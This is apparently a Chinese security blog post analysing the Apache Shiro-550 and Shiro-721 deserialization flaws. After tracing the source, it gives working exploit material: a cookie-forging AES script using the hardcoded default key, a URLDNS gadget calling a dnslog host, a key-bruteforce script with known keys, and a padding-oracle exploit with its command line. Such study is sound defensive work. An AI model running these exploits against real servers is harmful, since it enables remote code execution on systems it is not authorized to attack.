Java安全Shiro篇(Shiro550 Shiro721)
Java安全Shiro篇
了解Shiro
Shiro框架概述
Apache Shiro是一个强大且易用的Java安全框架,提供了身份验证、授权、密码学和会话管理等功能。它被广泛用于保护各种类型的应用程序,包括Web应用、RESTful服务、移动应用和大型企业级应用。使用Shiro,你可以将安全性集成到应用程序中而不必担心复杂的实现细节。 Shiro的优势在于其简单性和灵活性。相较于其他安全框架,Shiro采用了非常直观的API和清晰的架构,使得开发者能够更轻松地理解和使用。此外,Shiro的可扩展性也是其强大之处,你可以根据自己的需求轻松地定制和扩展功能。
Shiro反序列化漏洞产生的原因
Shiro框架提供了记住我的功能(RememberMe)省去用户短时间内再次登录输入账号密码的操作,用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:检索RememberMe Cookie的值Base 64解码AES解密进行反序列化操作(未过滤处理)
攻击者可以使用Shiro的密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。
PS:AES是一种对称加密算法(加密和解密使用同一种密钥)
加密过程:
明文 --> AES加密函数 + 密钥位数(128/192/256) + iv(初始化向量) + 密钥(key) + 模式(CBC和GCM等) + padding(填充方式)--> 密文
这样也就是说获得密钥就能随意构造Cookie的值,也就是说可以控制反序列化的过程
Shiro-550分析
环境搭建
jdk8u65
shiro 1.2.4
参考这位师傅的Shiro550环境搭建很详细
漏洞分析
漏洞原理
搭建完环境后,登录勾选Remember me 抓包观察
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段
我们从一个漏洞发现者的角度分析,我们在抓某个页面的包时发现了这个Cookie长的不正常而且明显是感觉像Base
到这里就可以感觉到是经过某种加密后的base64,会这样想的原因就是平常我们见到的cookie都不会这么长。
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
所以根据上面的叙述就有了这样一个思路:
找到Shiro源码分析生成和处理Cookie的流程
发现处理Cookie时有反序列化,并且知道了怎样生成的Cookie
找到固定的key
自己构造这个rememberMe从而控制反序列化的流程
getshell
分析过程
加密Cookie过程
打个断点看看过程
首先判断是否勾选了rememberMe
继续步入
进行用户身份的保存
步过继续步入rememberIdentity
步入
可以看出是将用户信息序列化后进行加密
看到encrypt
明显是加密过程,步入看看是怎么个事
CipherService
明显是一个用于加密和解密操作的服务接口,getEncryptionCipherKey()
是获取密钥key的
可以看到AES加密,模式为CBC,128位,填充方式为PKCS5Padding
可以看到获得的key,可以用脚本直接解出来
import base64
import struct
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104)))
在Shiro中这个是直接写在源码里的我们可以找到
想知道具体加密的过程还可以继续跟这里就知道是AES就先步出了
回到rememberIdentity
步入rememberSerializedIdentity
就是将序列化后加密的结果base64一下复制到Cookie的rememberMe字段中
总结一下
加密过程为:
设定:密钥 = kPH+bIxk5D2deZiIxcaaaA==
1.获得明文 = 正常序列化用户名后的字节(root)
2.以下步骤:
科普知识:正常的AES加密所需参数 = 想加密的字符串 + iv + key + CBC + padding
shiro:AES加密 = 想加密的字符串 (
明文
) + iv(随机生成的长度为16的字节
) + key(base64解码**密钥**的结果
) + CBC + PKCS5Padding3.随机生成的长度为16的字节 + AES加密结果 (就是拼接了一下)
4.base64加密
处理Cookie过程
直接全局搜索Cookie看看有什么
很显眼的找到CookieRememberMeManager
这个类,然后看一下里面的方法其中getRememberedSerializedIdentity
这个方法里处理了Cookie
先判断是否为 HTTP 请求,如果是的话,获取 cookie 中 rememberMe 的值,然后判断是否是 deleteMe,不是则判断是否是符合 base64 的编码长度,然后再对其进行 base64 解码,将解码结果返回。(deleteMe如其意很明显就是Cookie没有时候出现的字段比如登出、cookie无效、身份过期等情况)
可以看到这个地方主要就是获取HTTP请求中的Cookie中rememberMe的值,继续找一下哪里调用这个方法。
找到了 AbstractRememberMeManager
这个接口的 getRememberedPrincipals()
方法。
getRememberedPrincipals()
方法的作用域为 PrincipalCollection,一般就是用于聚合多个 Realm 配置的集合。
跟进convertBytesToPrincipals
这个方法
看看decrypt()
很像加密过程中的encrypt()
getDecryptionCipherKey()还是获得密钥的过程是一样的
对称加密所以key是一样的
然后就是反序列化,这里面的 deserial()
方法调用了 readObject()
,所以这里反序列化的地方是一个很好的入口类。
那么解密过程为:
设定:密钥 = kPH+bIxk5D2deZiIxcaaaA==
1.获得密文 = base64解密rememberMe参数传过来的值
2.以下步骤:
科普知识:正常的AES解密所需参数 = 想解密的字符串 + iv + key + CBC
shiro:AES解密 = 想解密的字符串(
删除密文前16个字节的剩余字节
)+iv(密文的前16个字节
) + key(base64解码**密钥**的结果
) + CBC + PKCS5Padding
漏洞利用
PS:工具就不在这里面放了有很多
既然 RCE,或者说弹 shell,是在反序列化的时候触发的。
那我们的攻击就应该是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值。
先是加密脚本(跟到加密那里mode是CBC key就是shirokey 加密后的内容前16位就是iv)
import argparse
import base64
import uuid
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data, key):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
#去除填充
# def aes_dec(enc_data, key):
# enc_data = base64.b64decode(enc_data)
# unpad = lambda s: s[:-s[-1]]
# mode = AES.MODE_CBC
# iv = enc_data[:16]
# encryptor = AES.new(base64.b64decode(key), mode, iv)
# plaintext = encryptor.decrypt(enc_data[16:])
# plaintext = unpad(plaintext)
# return plaintext
def aes_dec(enc_data, key):
enc_data = base64.b64decode(enc_data)
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
return plaintext
def main():
parser = argparse.ArgumentParser(description="Encrypt or decrypt a file using AES.")
parser.add_argument('operation', choices=['en', 'de'], help="Operation to perform: encrypt or decrypt")
parser.add_argument('--file','-f', help="Path to the file to encrypt or decrypt")
parser.add_argument('--data','-d', help="Base64 encoded data to decrypt directly (for decryption only)")
parser.add_argument('--output','-o', help="Output file path for the decrypted data")
parser.add_argument('--key', help="Base64 encoded key for encryption/decryption (default: 'kPH+bIxk5D2deZiIxcaaaA==')")
args = parser.parse_args()
# 使用用户提供的key或者默认值
key = args.key if args.key else 'kPH+bIxk5D2deZiIxcaaaA=='
if args.operation == 'en':
if args.file is None:
print("File path must be provided for encryption.")
return
data = get_file_data(args.file)
encrypted_data = aes_enc(data, key)
print(encrypted_data.decode())
elif args.operation == 'de':
decrypted_data = None
if args.data:
decrypted_data = aes_dec(args.data.encode(), key)
elif args.file:
encrypted_data = get_file_data(args.file)
decrypted_data = aes_dec(encrypted_data, key)
else:
print("Either file path or data must be provided for decryption.")
return
if decrypted_data is not None:
if args.output:
with open(args.output, 'wb') as f:
f.write(decrypted_data)
print(f"Decrypted data has been written to {args.output}")
else:
print("Decrypted data (binary output requires --output to save to file).")
else:
print("Decryption failed.")
if __name__ == "__main__":
main()
URLDNS
package com.serialize;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNSEXP {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://zj9hsb.dnslog.cn");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,114514);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
再将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。
可以收到DNS请求
AES密钥判断
前面说到 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含
Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe
字段。因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。
shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
这里给出大佬 Veraxy 的脚本:
import base64 import uuid import requests from Crypto.Cipher import AES def encrypt_AES_GCM(msg, secretKey): aesCipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, authTag = aesCipher.encrypt_and_digest(msg) return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme(target): keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥 BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==') for key in keys: try: # CBC加密 encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body))) res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("正确KEY :" + key) return key else: if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"): print("正确key:" + key) return key # GCM加密 encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key)) base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2]) res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("正确KEY:" + key) return key else: if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"): print("正确key:" + key) return key print("正确key:" + key) return key except Exception as e: print(e)
Shiro-721分析
环境搭建
还是参照师傅的环境搭建
或者还有dokcer环境可以去找找
搭建的过程中发现怎么无论怎样重启key还是kPH+bIxk5D2deZiIxcaaaA==
还是固定的
直接全局搜索找到事发地然后注释就好了
漏洞分析
漏洞原理
与Shiro550的区别
和Shiro550的差别就在于密钥生成变成了动态生成的了
我们对比一下两个生成密钥的地方
利用条件
[SHIRO-721]RememberMe 填充 Oracle 漏洞 - ASF JIRA (apache.org)
全是英文思密达
漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1
Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:
开启 rememberMe 功能;
rememberMe 值使用 AES-CBC 模式解密;
能获取到正常 Cookie,即用户正常登录的 Cookie 值;
密文可控;
分析过程
既然与前面分析的Shiro550区别只在生成密钥这点那么我们就看一下生成密钥的这个过程
Ps:这个打断点的过程要多试不是一次打完的
先在生成密钥的函数(generateNewKey()
)地方打上断点
KeyGenerator
是 Java 中用来生成对称密钥的类。
跟进这个init()
看看
这里获取到了一个随机数生成器 SecureRandom
, 跟进 init()
跟进engineInit
就是进行了 AES 算法的初始化
所以整个init就是对加密算法进行的初始化,我们结束这个地方的跟进
看一眼这个generateKey()
看名字就感觉是生成key的地方
其中SecretKeySpec
是一种 SecretKey
实现,封装了原始密钥数据和算法名称,最后返回的var1这个对象包含了生成的随机密钥和算法信息
可见这里已经生成了一串16字节的随机序列,并且返回一个 SecretKeySpec
对象
然后再使用getEncoded()
方法获取 key
密钥序列
至此Shiro721的密钥就生成完毕了
漏洞利用
Shiro721漏洞利用主要就是通过Padding Oracle Attack
Padding Oracle Attack
这里直接借用师傅的分析
这里简单说下 Padding Oracle Attack 加密数据整体过程:
选择一个明文
P
,用来生成你想要的密文C
;使用适当的 Padding 将字符串填充为块大小的倍数,然后将其拆分为从 1 到 N 的块;
生成一个随机数据块(
C[n]
表示最后一个密文块);对于每一个明文块,从最后一块开始:
创建一个包括两块的密文C’,其是通过一个空块(00000…)与最近生成的密文块
C[n+1]
(如果是第一轮则是随机块)组合成的;这步容易理解,就是Padding Oracle的基本攻击原理:修改空块的最后一个字节直至Padding Oracle没有出现错误为止,然后继续将最后一个字节设置为2并修改最后第二个字节直至Padding Oracle没有出现错误为止,依次类推,继续计算出倒数第3、4…个直至最后一个数据为止;
在计算完整个块之后,将它与明文块
P[n]
进行XOR一起创建C[n]
;对后续的每个块重复上述过程(在新的密文块前添加一个空块,然后进行Padding Oracle爆破计算);
简单地说,每一个密文块解密为一个未知值,然后与前一个密文块进行XOR。通过仔细选择前一个块,我们可以控制下一个块解密来得到什么。即使下一个块解密为一堆无用数据,但仍然能被XOR化为我们控制的值,因此可以设置为任何我们想要的值。
Shiro721的Padding Oracle Attack
要成功进行 Padding Oracle Attack 是需要服务端返回两个不同的响应特征来进行 Bool 判断的。
在 Apache Shiro 的场景中,这个服务端的两个不同的响应特征为:
Padding Oracle 错误时,服务端响应报文的 Set-Cookie 头字段返回
rememberMe=deleteMe
;Padding Oracle 正确时,服务端返回正常的响应报文内容;
这个Padding Oracle Attack我们是拿来作用到Cookie上的,又是通过响应头来判断填充是否正确,所以我们来分析一下Shiro是如果处理正确和错误的Cookie的
我们先找到解密的地方org.apache.shiro.mgt.AbstractRememberMeManager#decrypt()
跟进decrypt
跟进 cipherService.decrypt()
,最后到 crypt()
中调用 doFinal()
方法
doFinal()
方法有 IllegalBlockSizeException
和BadPaddingException
这两个异常,分别用于捕获块大小异常和填充错误异常。异常会被抛出到 crypt()
方法中,最终被 getRememberedPrincipals()
方法捕获,并执行 onRememberedPrincipalFailure()
方法。
onRememberedPrincipalFailure()
方法调用了 forgetIdentity()
。该方法会调用 removeFrom()
,并且会在response头部添加字段 Set-Cookie: rememberMe=deleteMe
因此倘若Padding结果不正确的话,响应包就会返回 Set-Cookie: rememberMe=deleteMe
当Padding正确时进行反序列化处理,CBC模式下的分组密码,如果某一组的密文被破坏,那么在其之后的分组都会受到影响。这时候我们的密文就无法正确的被反序列化了。
Shiro中关于反序列化的处理在 org.apache.shiro.io.DefaultSerializer#deserialize()
方法下
(如果不想打断点就可以找AbstractRememberMeManager
这个类很多都能从这出发找到)
如果反序列化的结果错误,则会抛出异常,最后异常仍被 getRememberedPrincipals()
方法处理。response 包里会回显 302 且 rememberMe=deleteMe
但是对于 Java 来说,反序列化是以 Stream 的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化。我们可以来测试一下。
我们先获得正常Cookie
进行解密
放到010看到填充数据0x10
我们更改为其他合理填充数据,加密后再发送
服务器端正常响应,于是这里就构造出了布尔条件
Padding 正确,服务器正常响应
Padding 错误,服务器返回
Set-Cookie: rememberMe=deleteMe
复现
inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attack (github.com)
先登录进去勾选Remember Me
刷新当前页面或访问 /account
页面,获取此时登录成功的 rememberMe 值:
用ysoserial生成DNS payload
利用GitHub的exp来进行 Padding Oracle Attack(python2)
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
# logging.debug(self.session.cookies)
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
# logging.debug(response.headers)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
# logging.debug("Padding exception")
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
print('rememberMe cookies:')
print(b64encode(enc))
python2 shiro_exp.py http://192.168.34.1:8081/ 1Hl09o75rzreK5ohy2jdexgtcs/qNjs2hZM4lA0G9QQzjX5dzggbD9N7trEVAY4S39qPNb6iHMZmYUnh3Hg2ABjJ9lxLybcPs0nCN1xbeiAhHlbR/HPBsIGxUQEuRbeD8JflacXxz/UEBqoy29ay8qZG45uNe0rm48m7X4UVFENA1bgoHUB6M/icpogLzQhpnY2ZN22sejQsCtWMJMQKkiHKAkQXC3lF2feoRbuD1b+KpijMiWc27+m3TfN2ObaSaM6wLPKzFtV8JgkTJbT99tO3Klp8uNFlGy7Kfw+4DoDpQjYmpdvqHlwW6TN2fnu18G4G5ReNRDR4eEt3+6DAoga/bcTRNyu2pRwNJXeJSu4dZyityZviPexm/6QeGvPYR8PTXUCGMpuNyZ8bIHA6buVmGfINFjGnJoqL6ar2t7Tyex8BEvGb/2OpErspQL6C14COfjJDdBQM1ViUn2B257Qw62D9ZYNHscIj0Ntiu/LsflJIZSKoDmZH0EcBjfQF ak.class
得爆一会
替换
接收到
后记
其实早分析过了只是期末考试、国赛等等没写文章,其实很多都是参考别的师傅的,目前写文章的主要目的还是为了留存笔记
参考文章
Shiro反序列化分析带思路及组件检测笔记 - 先知社区 (aliyun.com)